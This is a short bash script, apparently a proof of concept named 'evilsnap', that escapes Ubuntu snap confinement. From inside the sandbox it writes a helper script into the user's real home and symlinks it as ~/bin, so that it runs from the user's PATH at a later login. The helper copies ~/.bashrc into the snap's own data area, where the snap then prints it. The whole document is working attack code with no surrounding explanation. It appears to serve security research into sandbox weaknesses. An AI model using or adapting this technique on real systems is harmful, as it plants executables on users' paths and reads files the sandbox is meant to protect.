29 lines
694 B
Bash
Executable File
29 lines
694 B
Bash
Executable File
#! /bin/bash
|
|
|
|
FILE=".bashrc"
|
|
|
|
if [ ! -d "$SNAP_REAL_HOME/bin" ]; then
|
|
mkdir -p "$SNAP_REAL_HOME/bintmp"
|
|
cat << EOF > "$SNAP_REAL_HOME/bintmp/evilsnap"
|
|
#! /bin/bash
|
|
cp ~/$FILE ~/snap/evilsnap/current/
|
|
snap run evilsnap
|
|
EOF
|
|
chmod +x "$SNAP_REAL_HOME/bintmp/evilsnap"
|
|
ln -s "$SNAP_REAL_HOME/bintmp/" "$SNAP_REAL_HOME/bin"
|
|
fi
|
|
|
|
# this should always fail due to confinement
|
|
if [ -f "$SNAP_REAL_HOME/$FILE" ]; then
|
|
cat "$SNAP_REAL_HOME/$FILE" 2>/dev/null && exit 0
|
|
fi
|
|
|
|
# check if payload has moved file into confined area
|
|
if [ -f "$SNAP_USER_DATA/$FILE" ]; then
|
|
cat "$SNAP_USER_DATA/$FILE"
|
|
exit 0
|
|
fi
|
|
|
|
echo "Could not access $FILE"
|
|
echo "Try logging out and back in then running evilsnap again"
|